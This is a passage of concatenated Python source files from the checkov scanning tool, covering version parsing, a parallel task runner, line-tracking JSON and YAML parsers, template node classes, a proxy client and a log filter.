is_devrelease(self) -> bool: return False _legacy_version_component_re = re.compile(r"(\d+ | [a-z]+ | \.| -)", re.VERBOSE | re.IGNORECASE) _legacy_version_replacement_map = { "pre": "c", "preview": "c", "-": "final-", "rc": "c", "dev": "@", } def _parse_version_parts(s: str) -> Iterator[str]: for part in _legacy_version_component_re.split(s): part = _legacy_version_replacement_map.get(part, part) if not part or part == ".": continue if part[:1] in "0123456789": # pad for numeric comparison yield part.zfill(8) else: yield "*" + part # ensure that alpha/beta/candidate are before final yield "*final" def _legacy_cmpkey(version: str) -> LegacyCmpKey: # We hardcode an epoch of -1 here. A PEP 440 version can only have a epoch # greater than or equal to 0. This will effectively put the LegacyVersion, # which uses the defacto standard originally implemented by setuptools, # as before all PEP 440 versions. epoch = -1 # This scheme is taken from pkg_resources.parse_version setuptools prior to # it's adoption of the packaging library. parts: list[str] = [] for part in _parse_version_parts(version.lower()): if part.startswith("*"): # remove "-" before a prerelease tag if part < "*final": while parts and parts[-1] == "*final-": parts.pop() # remove trailing zeros from each series of numeric parts while parts and parts[-1] == "00000000": parts.pop() parts.append(part) return epoch, tuple(parts) ================================================ FILE: checkov/common/parallelizer/__init__.py ================================================ ================================================ FILE: checkov/common/parallelizer/parallel_runner.py ================================================ from __future__ import annotations import concurrent.futures import logging import multiprocessing import os import platform from collections.abc import Iterator, Iterable from multiprocessing.pool import Pool from typing import Any, List, Generator, Callable, Optional, TypeVar, TYPE_CHECKING from checkov.common.models.enums import ParallelizationType if TYPE_CHECKING: from multiprocessing.connection import Connection _T = TypeVar("_T") class ParallelRunException(Exception): def __init__(self, internal_exception: Exception) -> None: self.internal_exception = internal_exception super().__init__(internal_exception) class ParallelRunner: def __init__( self, workers_number: int | None = None, parallelization_type: ParallelizationType = ParallelizationType.FORK ) -> None: env_workers = os.getenv("CHECKOV_WORKERS_NUMBER") if env_workers: try: workers_number = int(env_workers) except ValueError: logging.warning(f"Invalid CHECKOV_WORKERS_NUMBER value: {env_workers}, using default") self.workers_number = (workers_number if workers_number else os.cpu_count()) or 1 logging.debug("Workers count for the parallel runner is: %s", self.workers_number) self.os = platform.system() self.type: str | ParallelizationType = parallelization_type custom_type = os.getenv("CHECKOV_PARALLELIZATION_TYPE") if custom_type: self.type = custom_type elif os.getenv("PYCHARM_HOSTED") == "1": # PYCHARM_HOSTED env variable equals 1 when debugging via jetbrains IDE. # To prevent JetBrains IDE from crashing on debug run sequentially self.type = ParallelizationType.NONE elif self.os == "Windows" or self.os == "Darwin": if self.type in [ParallelizationType.FORK, ParallelizationType.SPAWN]: # 'fork' mode is not supported on 'Windows', and has security issues on macOS # 'spawn' mode currently is not supported due to its memory erasure for each new process, which conflicts with the child processes' need for the parent's memory." self.type = ParallelizationType.THREAD # future support - spawn is not working well with frozen mode, need to investigate multiprocessing.freeze_support() def running_as_process(self) -> bool: return self.type in [ParallelizationType.FORK, ParallelizationType.SPAWN] def run_function( self, func: Callable[..., _T], items: List[Any], group_size: Optional[int] = None, ) -> Iterable[_T]: if self.type == ParallelizationType.THREAD: return self._run_function_multithreaded(func, items) elif self.type == ParallelizationType.FORK: return self._run_function_multiprocess_fork(func, items, group_size) elif self.type == ParallelizationType.SPAWN: return self._run_function_multiprocess_spawn(func, items, group_size) else: return self._run_function_sequential(func, items) def _run_function_multiprocess_fork( self, func: Callable[[Any], _T], items: List[Any], group_size: Optional[int] ) -> Generator[_T, None, None]: if not group_size: group_size = int(len(items) / self.workers_number) + 1 groups_of_items = [items[i: i + group_size] for i in range(0, len(items), group_size)] def func_wrapper(original_func: Callable[[Any], _T], items_group: List[Any], connection: Connection) -> None: for item in items_group: try: if isinstance(item, tuple): # unpack a tuple to pass multiple arguments to the target function result = original_func(*item) else: result = original_func(item) connection.send(result) except Exception as e: logging.error( f"Failed to invoke function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with {item}", exc_info=True, ) connection.send(ParallelRunException(e)) connection.close() logging.debug( f"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'fork'" ) processes = [] for group_of_items in groups_of_items: parent_conn, child_conn = multiprocessing.Pipe(duplex=False) process = multiprocessing.get_context("fork").Process( target=func_wrapper, args=(func, group_of_items, child_conn) ) processes.append((process, parent_conn, len(group_of_items))) process.start() for _, parent_conn, group_len in processes: for _ in range(group_len): try: v = parent_conn.recv() if isinstance(v, ParallelRunException): raise v.internal_exception.with_traceback(v.internal_exception.__traceback__) yield v except EOFError: pass def _run_function_multiprocess_spawn( self, func: Callable[[Any], _T], items: list[Any], group_size: int | None ) -> Iterable[_T]: if multiprocessing.current_process().daemon: # can't create a new pool, when already inside a pool return self._run_function_multithreaded(func, items) if not group_size: group_size = int(len(items) / self.workers_number) + 1 logging.debug( f"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'spawn'" ) with Pool(processes=self.workers_number, context=multiprocessing.get_context("spawn")) as p: if items and isinstance(items[0], tuple): # need to use 'starmap' to pass multiple arguments to the target function return p.starmap(func, items, chunksize=group_size) return p.map(func, items, chunksize=group_size) def _run_function_multithreaded(self, func: Callable[[Any], _T], items: List[Any]) -> Iterator[_T]: logging.debug( f"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'thread'" ) with concurrent.futures.ThreadPoolExecutor(max_workers=self.workers_number) as executor: if items and isinstance(items[0], tuple): # split a list of tuple into tuples of the positioned values of the tuple return executor.map(func, *list( zip(*items))) # noqa[B905] # no need to set 'strict' otherwise 'mypy' complains return executor.map(func, items) def _run_function_sequential(self, func: Callable[[Any], _T], items: List[Any]) -> Iterator[_T]: logging.debug( f"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'none'" ) if items and isinstance(items[0], tuple): # unpack a tuple to pass multiple arguments to the target function return (func(*item) for item in items) return (func(item) for item in items) parallel_runner = ParallelRunner() ================================================ FILE: checkov/common/parsers/__init__.py ================================================ ================================================ FILE: checkov/common/parsers/json/__init__.py ================================================ """ Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: MIT-0 """ from __future__ import annotations import json import logging from pathlib import Path from typing import Any from checkov.common.parsers.json.decoder import Decoder from checkov.common.parsers.json.errors import DecodeError from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.file_utils import read_file_with_any_encoding LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) def load( filename: str | Path, allow_nulls: bool = True, content: str | None = None ) -> tuple[dict[str, Any], list[tuple[int, str]]]: """ Load the given JSON file """ if not content: content = read_file_with_any_encoding(file_path=filename) file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] return json.loads(content, cls=Decoder, allow_nulls=allow_nulls), file_lines def parse( filename: str | Path, allow_nulls: bool = True, out_parsing_errors: dict[str, str] | None = None, file_content: str | None = None, ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: error: Exception | None = None try: return load(filename=filename, allow_nulls=allow_nulls, content=file_content) except DecodeError as e: logging.debug(f"Got DecodeError parsing file {filename}", exc_info=True) error = e except json.JSONDecodeError as e: # Most parsing errors will get caught by the exception above. But, if the file # is totally empty, and perhaps in other specific cases, the json library will # not even begin parsing with our custom logic that throws the exception above, # and will fail with this exception instead. logging.debug(f"Got JSONDecodeError parsing file {filename}", exc_info=True) error = e except UnicodeDecodeError as e: logging.debug(f"Got UnicodeDecodeError parsing file {filename}", exc_info=True) error = e if error: if out_parsing_errors is None: out_parsing_errors = {} out_parsing_errors[str(filename)] = str(error) return None ================================================ FILE: checkov/common/parsers/json/decoder.py ================================================ from __future__ import annotations import logging from collections.abc import Sequence from json import JSONDecoder from json.decoder import WHITESPACE, WHITESPACE_STR, BACKSLASH, STRINGCHUNK, JSONArray # type:ignore # they are not explicitly exported from typing import Any, Callable, Pattern, Match from json.scanner import NUMBER_RE # is not explicitly exported from checkov.common.parsers.node import StrNode, DictNode, ListNode from checkov.common.parsers.json.errors import NullError, DuplicateError, DecodeError class SimpleDecoder(JSONDecoder): def __init__( self, *, object_hook: Callable[[dict[str, Any]], Any] | None = None, parse_float: Callable[[str], Any] | None = None, parse_int: Callable[[str], Any] | None = None, parse_constant: Callable[[str], Any] | None = None, strict: bool = True, object_pairs_hook: Callable[[list[tuple[str, Any]]], Any] | None = None, ) -> None: super().__init__( object_hook=self.object_hook, parse_float=parse_float, parse_int=parse_int, parse_constant=parse_constant, strict=strict, object_pairs_hook=object_pairs_hook, ) def object_hook(self, obj: dict[str, Any]) -> Any: obj["start_line"] = 0 obj["end_line"] = 0 return obj class Mark: """Mark of line and column""" __slots__ = ("column", "line") def __init__(self, line: int, column: int) -> None: self.line = line self.column = column # pylint: disable=W0102 # Exception based on builtin Python Function def py_scanstring( s: str, end: int, strict: bool = True, _b: dict[str, str] = BACKSLASH, _m: Callable[[str | Pattern[str], int], Match[str]] = STRINGCHUNK.match ) -> tuple[str, int]: """Scan the string s for a JSON string. End is the index of the character in s after the quote that started the JSON string. Unescapes all valid JSON string escape sequences and raises ValueError on attempt to decode an invalid string. If strict is False then literal control characters are allowed in the string. Returns a tuple of the decoded string and the index of the character in s after the end quote.""" chunks: list[str] = [] _append = chunks.append begin = end - 1 while 1: chunk = _m(s, end) if chunk is None: raise DecodeError('Unterminated string starting at', s, begin) end = chunk.end() content, terminator = chunk.groups() # Content is contains zero or more unescaped string characters if content: _append(content) # Terminator is the end of string, a literal control character, # or a backslash denoting that an escape sequence follows if terminator == '"': break if terminator != '\\': if strict: msg = 'Invalid control character {0!r} at'.format(terminator) raise DecodeError(msg, s, end) _append(terminator) continue try: esc = s[end] except IndexError as err: raise DecodeError('Unterminated string starting at', s, begin) from err # If not a unicode escape sequence, must be in the lookup table if esc != 'u': try: char = _b[esc] except KeyError as err: msg = 'Invalid \\escape: {0!r}'.format(esc) raise DecodeError(msg, s, end) from err end += 1 else: uni = _decode_uXXXX(s, end) end += 5 if 0xd800 <= uni <= 0xdbff and s[end:end + 2] == '\\u': uni2 = _decode_uXXXX(s, end + 1) if 0xdc00 <= uni2 <= 0xdfff: uni = 0x10000 + (((uni - 0xd800) << 10) | (uni2 - 0xdc00)) end += 6 char = chr(uni) _append(char) return ''.join(chunks), end def _decode_uXXXX(s: str, pos: int) -> int: esc = s[pos + 1:pos + 5] if len(esc) == 4 and esc[1] not in 'xX': try: return int(esc, 16) except ValueError: pass msg = 'Invalid \\uXXXX escape' raise DecodeError(msg, s, pos) def py_make_scanner(context: Decoder) -> Callable[[str, int], tuple[Any, int]]: """ Make python based scanner For this use case we will not use the C based scanner """ parse_object = context.parse_object parse_array = context.parse_array parse_string = context.parse_string match_number = NUMBER_RE.match strict = context.strict parse_float = context.parse_float parse_int = context.parse_int parse_constant = context.parse_constant object_hook = context.object_hook object_pairs_hook = context.object_pairs_hook memo = context.memo # pylint: disable=R0911 # Based on Python standard function def _scan_once(string: str, idx: int) -> tuple[Any, int]: """ Scan once internal function """ try: nextchar = string[idx] except IndexError as err: raise StopIteration(idx) from err try: nextchar_plus_1 = string[idx + 1] except IndexError: nextchar_plus_1 = None try: nextchar_plus_2 = string[idx + 2] except IndexError: nextchar_plus_2 = None if nextchar == '"' and (nextchar_plus_1 != '"' or nextchar_plus_2 != '"'): return parse_string(string, idx + 1, strict) if nextchar == '"' and nextchar_plus_1 == '"' and nextchar_plus_2 == '"': result, end = parse_string(string, idx + 3, strict) return result, end + 2 if nextchar == '{': return parse_object( (string, idx + 1), strict, scan_once, object_hook, object_pairs_hook, memo) # type:ignore[arg-type] # mypy bug if nextchar == '[': return parse_array((string, idx + 1), _scan_once) if nextchar == 'n' and string[idx:idx + 4] == 'null': return None, idx + 4 if nextchar == 't' and string[idx:idx + 4] == 'true': return True, idx + 4 if nextchar == 'f' and string[idx:idx + 5] == 'false': return False, idx + 5 m = match_number(string, idx) if m is not None: integer, frac, exp = m.groups() if frac or exp: res = parse_float(integer + (frac or '') + (exp or '')) else: res = parse_int(integer) return res, m.end() if nextchar == 'N' and string[idx:idx + 3] == 'NaN': return parse_constant('NaN'), idx + 3 if nextchar == 'I' and string[idx:idx + 8] == 'Infinity': return parse_constant('Infinity'), idx + 8 if nextchar == '-' and string[idx:idx + 9] == '-Infinity': return parse_constant('-Infinity'), idx + 9 raise StopIteration(idx) def scan_once(string: str, idx: int) -> tuple[Any, int]: """ Scan Once""" try: return _scan_once(string, idx) finally: memo.clear() return _scan_once def find_indexes(s: str, ch: str = "\n") -> list[int]: """Finds all instances of given char and returns list of indexes """ return [i for i, ltr in enumerate(s) if ltr == ch] def count_occurrences(arr: Sequence[int], key: int) -> int: """Binary search indexes to replace str.count """ n = len(arr) left = 0 right = n - 1 count = 0 while (left <= right): mid = int((right + left) / 2) if (arr[mid] <= key): count = mid + 1 left = mid + 1 else: right = mid - 1 return count def largest_less_than(indexes: list[int], line_num: int, pos: int) -> int: """Replacement func for python str.rfind using indexes """ return indexes[line_num - 1] if indexes and count_occurrences(indexes, pos) else -1 def get_beg_end_mark(s: str, start: int, end: int, indexes: list[int]) -> tuple[Mark, Mark]: """Get the Start and End Mark """ beg_lineno = count_occurrences(indexes, start) beg_colno = start - largest_less_than(indexes, beg_lineno, start) beg_mark = Mark(beg_lineno, beg_colno) offset = 1 if len(indexes) > 1 else 0 end_lineno = count_occurrences(indexes, end) - offset end_colno = end - largest_less_than(indexes, end_lineno, end) end_mark = Mark(end_lineno, end_colno) return beg_mark, end_mark class Decoder(JSONDecoder): """ Converts a json string, where datetime and timedelta objects were converted into strings using the DateTimeAwareJSONEncoder, into a python object. """ def __init__(self, *args: Any, **kwargs: Any) -> None: self.allow_nulls = kwargs.pop("allow_nulls", True) JSONDecoder.__init__(self, *args, **kwargs) self.parse_object = self.json_object self.parse_array = self.json_array self.parse_string = py_scanstring self.memo: dict[str, str] = {} setattr(self, "object_pairs_hook", self.check_duplicates) # noqa: B010 # it is method assignment self.scan_once = py_make_scanner(self) self.newline_indexes: list[int] = [] def decode(self, s: str, _w: Callable[..., Any] | None = None) -> Any: """Overridden to retrieve indexes """ self.newline_indexes = find_indexes(s) obj = super().decode(s) return obj def json_array( self, s_and_end: tuple[str, int], scan_once: Callable[[str, int], tuple[Any, int]], **kwargs: Any ) -> tuple[ListNode, int]: """ Convert JSON array to be a list_node object """ values, end = JSONArray(s_and_end, scan_once, **kwargs) s, start = s_and_end beg_mark, end_mark = get_beg_end_mark(s, start, end, self.newline_indexes) return ListNode(values, beg_mark, end_mark), end def json_object( self, s_and_end: tuple[str, int], strict: bool, scan_once: Callable[[str, int], tuple[Any, int]], object_hook: Callable[[dict[str, Any], Mark, Mark], Any], object_pairs_hook: Callable[[list[tuple[str, Any]], Mark, Mark], Any], memo: dict[str, str] | None = None, _w: Callable[[str | Pattern[str], int], Match[str]] = WHITESPACE.match, _ws: str = WHITESPACE_STR, ) -> tuple[DictNode, int]: """ Custom Cfn JSON Object to store keys with start and end times """ s, end = s_and_end orginal_end = end pairs = [] # type:ignore[var-annotated] # overload var, don't bother fixing the type pairs_append = pairs.append # Backwards compatibility if memo is None: memo = {} memo_get = memo.setdefault # Use a slice to prevent IndexError from being raised, the following # check will raise a more specific ValueError if the string is empty nextchar = s[end:end + 1] # Normally we expect nextchar == '"' if nextchar != '"': if nextchar in _ws: end = _w(s, end).end() nextchar = s[end:end + 1] # Trivial empty object if nextchar == '}': if object_pairs_hook is not None: try: beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end + 1, self.newline_indexes) result = object_pairs_hook(pairs, beg_mark, end_mark) return result, end + 1 except DuplicateError as err: raise DecodeError('Duplicate found', s, end) from err except NullError as err: raise DecodeError('Null Error', s, end) from err pairs = {} if object_hook is not None: beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end + 1, self.newline_indexes) pairs = object_hook(pairs, beg_mark, end_mark) return pairs, end + 1 if nextchar != '"': raise DecodeError('Expecting property name enclosed in double quotes', s, end) end += 1 while True: begin = end - 1 key, end = py_scanstring(s, end, strict) # print(lineno, colno, obj) # print(key, lineno, colno) key = memo_get(key, key) # To skip some function call overhead we optimize the fast paths where # the JSON key separator is ": " or just ":". if s[end:end + 1] != ':': end = _w(s, end).end() if s[end:end + 1] != ':': raise DecodeError('Expecting \':\' delimiter', s, end) end += 1 try: if s[end] in _ws: end += 1 if s[end] in _ws: end = _w(s, end + 1).end() except IndexError: pass beg_mark, end_mark = get_beg_end_mark(s, begin, begin + len(key), self.newline_indexes) try: value, end = scan_once(s, end) except StopIteration as err: logging.debug("Failed to scan string", exc_info=True) raise DecodeError('Expecting value', s, end_mark.line) from err key_str = StrNode(key, beg_mark, end_mark) pairs_append((key_str, value)) try: nextchar = s[end] if nextchar in _ws: end = _w(s, end + 1).end() nextchar = s[end] except IndexError: nextchar = '' end += 1 if nextchar == '}': break if nextchar != ',': raise DecodeError('Expecting \',\' delimiter', s, end - 1) end = _w(s, end).end() nextchar = s[end:end + 1] end += 1 if nextchar != '"': raise DecodeError( 'Expecting property name enclosed in double quotes', s, end - 1) if object_pairs_hook is not None: try: beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end, self.newline_indexes) result = object_pairs_hook(pairs, beg_mark, end_mark) except DuplicateError as err: raise DecodeError('Duplicate found', s, begin, key) from err except NullError as err: raise DecodeError('Null Error', s, begin, key) from err return result, end pairs = dict(pairs) if object_hook is not None: beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end, self.newline_indexes) pairs = object_hook(pairs, beg_mark, end_mark) return pairs, end def check_duplicates(self, ordered_pairs: list[tuple[str, Any]], beg_mark: Mark, end_mark: Mark) -> DictNode: """ Check for duplicate keys on the current level, this is not desirable because a dict does not support this. It overwrites it with the last occurrence, which can give unexpected results """ mapping = DictNode({}, beg_mark, end_mark) for key, value in ordered_pairs: if not self.allow_nulls and value is None: raise NullError('"{}"'.format(key)) if key in mapping: raise DuplicateError('"{}"'.format(key)) mapping[key] = value return mapping ================================================ FILE: checkov/common/parsers/json/errors.py ================================================ from __future__ import annotations from typing import Type class DuplicateError(Exception): """ Error thrown when the template contains duplicates """ class NullError(Exception): """ Error thrown when the template contains Nulls """ class DecodeError(ValueError): """Subclass of ValueError with the following additional properties: msg: The unformatted error message doc: The JSON document being parsed pos: The start index of doc where parsing failed lineno: The line corresponding to pos colno: The column corresponding to pos """ # Note that this exception is used from _json def __init__(self, msg: str, doc: str, pos: int, _key: str = " ") -> None: lineno = doc.count("\n", 0, pos) + 1 colno = pos - doc.rfind("\n", 0, pos) errmsg = "%s: line %d column %d (char %d)" % (msg, lineno, colno, pos) ValueError.__init__(self, errmsg) self.msg = msg self.doc = doc self.pos = pos self.lineno = lineno self.colno = colno def __reduce__(self) -> tuple[Type[DecodeError], tuple[str, str, int]]: return self.__class__, (self.msg, self.doc, self.pos) ================================================ FILE: checkov/common/parsers/node.py ================================================ from __future__ import annotations import logging from copy import deepcopy from typing import TYPE_CHECKING, Any, Type, Generator from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.data_structures_utils import pickle_deepcopy if TYPE_CHECKING: from checkov.common.parsers.json.decoder import Mark LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) class TemplateAttributeError(AttributeError): """ Custom error to capture Attribute Errors in the Template """ class StrNode(str): """Node class created based on the input class""" def __init__(self, x: str, start_mark: Mark | Any, end_mark: Mark | Any) -> None: try: super().__init__(x) # type:ignore[call-arg] except TypeError: super().__init__() self.start_mark = start_mark self.end_mark = end_mark # pylint: disable=bad-classmethod-argument, unused-argument def __new__(cls, x: str, start_mark: Mark | None = None, end_mark: Mark | None = None) -> StrNode: return str.__new__(cls, x) def __getattr__(self, name: str) -> Any: raise TemplateAttributeError(f'{name} is invalid') def __deepcopy__(self, memo: dict[int, Any]) -> StrNode: result = StrNode(self, self.start_mark, self.end_mark) memo[id(self)] = result return result def __copy__(self) -> StrNode: return self class DictNode(dict): # type:ignore[type-arg] # either typing works or runtime, but not both """Node class created based on the input class""" def __init__(self, x: dict[str, Any], start_mark: Mark | Any, end_mark: Mark | Any): try: super().__init__(x) except TypeError: super().__init__() self.start_mark = start_mark self.end_mark = end_mark self.condition_functions = ['Fn::If'] def __deepcopy__(self, memo: dict[int, Any]) -> DictNode: result = DictNode(self, self.start_mark, self.end_mark) memo[id(self)] = result for k, v in self.items(): result[deepcopy(k)] = deepcopy(v, memo) return result def __copy__(self) -> DictNode: return self def is_function_returning_object(self, _mappings: Any = None) -> bool: """ Check if an object is using a function that could return an object Return True when Fn::Select: - 0 # or any number - !FindInMap [mapname, key, value] # or any mapname, key, value Otherwise False """ if len(self) == 1: for k, v in self.items(): if k in ['Fn::Select']: if isinstance(v, list): if len(v) == 2: p_v = v[1] if isinstance(p_v, dict): if len(p_v) == 1: for l_k in p_v.keys(): if l_k == 'Fn::FindInMap': return True return False def get(self, key: str, default: Any = None) -> Any: """ Override the default get """ if isinstance(default, dict): default = DictNode(default, self.start_mark, self.end_mark) return super().get(key, default) def get_safe( self, key: str, default: Any = None, path: list[str] | None = None, type_t: Type[tuple[Any, ...]] = tuple ) -> list[tuple[tuple[Any, ...], list[str]]]: """Get values in format""" path = path or [] value = self.get(key, default) if not isinstance(value, dict): if isinstance(value, type_t) or not type_t: return [(value, (path[:] + [key]))] results = [] for sub_v, sub_path in value.items_safe(path + [key]): if isinstance(sub_v, type_t) or not type_t: results.append((sub_v, sub_path)) return results def items_safe( self, path: list[int | str] | None = None, type_t: Type[tuple[Any, ...]] = tuple ) -> Generator[tuple[Any, ...], Any, None]: """Get items while handling IFs""" path = path or [] if len(self) == 1: for k, v in self.items(): if k == 'Fn::If': if isinstance(v, list): if len(v) == 3: for i, if_v in enumerate(v[1:]): if isinstance(if_v, DictNode): # yield from if_v.items_safe(path[:] + [k, i - 1]) # Python 2.7 support for items, p in if_v.items_safe(path[:] + [k, i + 1]): if isinstance(items, type_t) or not type_t: yield items, p elif isinstance(if_v, list): if isinstance(if_v, type_t) or not type_t: yield if_v, path[:] + [k, i + 1] else: if isinstance(if_v, type_t) or not type_t: yield if_v, path[:] + [k, i + 1] elif not (k == 'Ref' and v == 'AWS::NoValue'): if isinstance(self, type_t) or not type_t: yield self, path[:] else: if isinstance(self, type_t) or not type_t: yield self, path[:] @staticmethod def deep_merge(dict1: DictNode, dict2: DictNode) -> DictNode: """ Performs a deep merge of dict1 and dict2, giving preference to values in dict1. :param dict1: First DictNode object, whose values have higher precedence. :param dict2: Second DictNode object, to be merged with the first one. :return: A new DictNode object with the deep merged values. """ # Create a new DictNode for the merged result, initially empty. merged = DictNode({}, dict1.start_mark, dict1.end_mark) # Add all items from dict2 to the merged DictNode. for key, value in dict2.items(): merged[key] = pickle_deepcopy(value) # Merge items from dict1, giving them precedence. for key, value in dict1.items(): if key in dict2: if isinstance(value, DictNode) and isinstance(dict2[key], DictNode): # If both values are DictNodes, merge recursively. merged[key] = DictNode.deep_merge(value, dict2[key]) elif isinstance(value, ListNode) and isinstance(dict2[key], ListNode): # If both values are ListNodes, prepend the items from dict2's ListNode to dict1's ListNode. merged[key] = ListNode(pickle_deepcopy(dict2[key]) + value, dict1.start_mark, dict1.end_mark) else: # If they are not both DictNodes or both ListNodes, the value from dict1 takes precedence. merged[key] = value else: # If the key is only in dict1, directly copy the item from dict1. merged[key] = value return merged def __getattr__(self, name: str) -> Any: raise TemplateAttributeError(f'{name} is invalid') class ListNode(list): # type:ignore[type-arg] # either typing works or runtime, but not both """Node class created based on the input class""" def __init__(self, x: list[Any], start_mark: Mark | Any, end_mark: Mark | Any) -> None: try: super().__init__(x) except TypeError: super().__init__() self.start_mark = start_mark self.end_mark = end_mark self.condition_functions = ['Fn::If'] def __deepcopy__(self, memo: dict[int, Any]) -> ListNode: result = ListNode([], self.start_mark, self.end_mark) memo[id(self)] = result for v in self: result.append(deepcopy(v, memo)) return result def __copy__(self) -> ListNode: return self def items_safe( self, path: list[int | str] | None = None, type_t: Type[tuple[Any, ...]] = tuple ) -> Generator[tuple[Any, ...], Any, None]: """Get items while handling IFs""" path = path or [] for i, v in enumerate(self): if isinstance(v, DictNode): for items, p in v.items_safe(path[:] + [i]): if isinstance(items, type_t) or not type_t: yield items, p else: if isinstance(v, type_t) or not type_t: yield v, path[:] + [i] def __getattr__(self, name: str) -> Any: raise TemplateAttributeError(f'{name} is invalid') ================================================ FILE: checkov/common/parsers/yaml/__init__.py ================================================ ================================================ FILE: checkov/common/parsers/yaml/loader.py ================================================ from __future__ import annotations import logging from collections.abc import Hashable from pathlib import Path from typing import Any, TYPE_CHECKING import yaml from yaml.loader import SafeLoader from checkov.common.util.file_utils import read_file_with_any_encoding if TYPE_CHECKING: from yaml import MappingNode def loads(content: str) -> list[dict[str, Any]]: """ Load the given YAML string """ try: template = list(yaml.load_all(content, Loader=SafeLineLoader)) except Exception as e: logging.debug(f'Fail to load yaml content, {e}') template = [None] # Convert an empty file to an empty dict if template is None: template = {} return template def load(filename: str | Path, content: str | None = None) -> tuple[list[dict[str, Any]], list[tuple[int, str]]]: """ Load the given YAML file """ if not content: content = read_file_with_any_encoding(file_path=filename) file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] template = loads(content) return template, file_lines class SafeLineLoader(SafeLoader): def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]: mapping = super().construct_mapping(node, deep=deep) # Add 1 so line numbering starts at 1 # mapping['__line__'] = node.start_mark.line + 1 mapping['__startline__'] = node.start_mark.line + 1 mapping['__endline__'] = node.end_mark.line + 1 return mapping bool_values = { # noqa: CCE003 # used to override the SafeLoader default behaviour 'yes': True, 'no': False, 'true': True, 'false': False, # GHA workflow files have a saved word for "on". Since we have policies inspecting the "on" section we need # to keep the string value. 'on': 'on', # type:ignore[dict-item] 'off': False, } class SafeLineLoaderGhaSchema(SafeLoader): def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]: return super().construct_mapping(node, deep=deep) bool_values = { # noqa: CCE003 # used to override the SafeLoader default behaviour 'on': 'on', # type:ignore[dict-item] 'off': 'off', # type:ignore[dict-item] 'yes': 'true', # type:ignore[dict-item] 'no': 'false', # type:ignore[dict-item] 'true': 'true', # type:ignore[dict-item] 'false': 'false' # type:ignore[dict-item] } ================================================ FILE: checkov/common/parsers/yaml/parser.py ================================================ from __future__ import annotations import logging from typing import Any from yaml import YAMLError import checkov.common.parsers.yaml.loader as loader from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def parse( filename: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: template = None template_lines = None try: if filename.endswith(".yaml") or filename.endswith(".yml"): template, template_lines = loader.load(filename, file_content) if template and template_lines: if isinstance(template, list): for t in template: if t and isinstance(t, (list, dict)): return t, template_lines else: return None else: return None except IOError as e: if e.errno == 2: logger.error(f"Template file not found: {filename}") return None elif e.errno == 21: logger.error(f"Template references a directory, not a file: {filename}") return None elif e.errno == 13: logger.error(f"Permission denied when accessing template file: {filename}") return None except UnicodeDecodeError: logger.error(f"Cannot read file contents: {filename}") return None except YAMLError: if filename.endswith(".yaml") or filename.endswith(".yml"): logger.debug(f"Cannot read file contents: {filename} - is it a yaml?") return None return None ================================================ FILE: checkov/common/proxy/__init__.py ================================================ ================================================ FILE: checkov/common/proxy/proxy_client.py ================================================ from __future__ import annotations import logging import os from typing import Any import requests class ProxyClient: def __init__(self) -> None: self.identity = os.getenv('PROXY_HEADER_VALUE') self.proxy_ca_path = os.getenv('PROXY_CA_PATH') if self.proxy_ca_path is None: logging.warning("[ProxyClient] CA certificate path is missing") def get_session(self) -> requests.Session: if not os.getenv('PROXY_URL'): logging.warning('Please provide "PROXY_URL" env var') proxy_url = os.getenv('PROXY_URL') session = requests.Session() proxies = { "http": proxy_url, "https": proxy_url, } session.proxies.update(proxies) # type: ignore return session def update_request_header(self, request: requests.Request) -> None: if os.getenv('PROXY_HEADER_KEY'): request.headers[os.getenv('PROXY_HEADER_KEY')] = self.identity def send_request(self, request: requests.Request) -> requests.Response: session = self.get_session() self.update_request_header(request=request) prepared_request = session.prepare_request(request) return session.send(prepared_request, verify=self.proxy_ca_path) def call_http_request_with_proxy(request: requests.Request) -> Any: proxy_client = ProxyClient() return proxy_client.send_request(request=request) ================================================ FILE: checkov/common/resource_code_logger_filter.py ================================================ from __future__ import annotations import os from logging import Logger, Filter, LogRecord from checkov.common.util.type_forcers import convert_str_to_bool class ResourceCodeFilter(Filter): """ A custom logger filter designed to decide if we want to filter some logs from the default logger. Could be used to reduce logs size. First use case is to log without the actual code of resources, which takes a lot of the logs size. The default is to log everything in order to keep api the same. """ CODE_TEMPLATES: list[str] = [] def __init__(self, allow_code_logging: bool = True): super().__init__() self.allow_code_logging = allow_code_logging def filter(self, record: LogRecord) -> bool: if self.allow_code_logging: return True if hasattr(record, "mask"): # Allows filtering using `logging.info("", extra={"mask": True})` mask = record.mask if not isinstance(mask, bool): raise Exception(f"Expected to get `mask` as boolean for logging function, instead got: {mask} of type {type(mask)}") return not record.mask msg = record.msg return self._filter_based_on_msg(msg) def _filter_based_on_msg(self, msg: str) -> bool: for code_template in ResourceCodeFilter.CODE_TEMPLATES: if code_template in msg: return False return True def add_resource_code_filter_to_logger(logger: Logger, allow_code_logging: bool | None = None) -> None: if allow_code_logging is None: allow_code_logging_res = convert_str_to_bool(os.environ.get("CHECKOV_ALLOW_CODE_LOGGING", True)) if isinstance(allow_code_logging_res, bool): allow_code_logging = allow_code_logging_res else: raise Exception(f"Failed to get correct result for env variable - `CHECKOV_ALLOW_CODE_LOGGING`. " f"Got {allow_code_logging_res}") 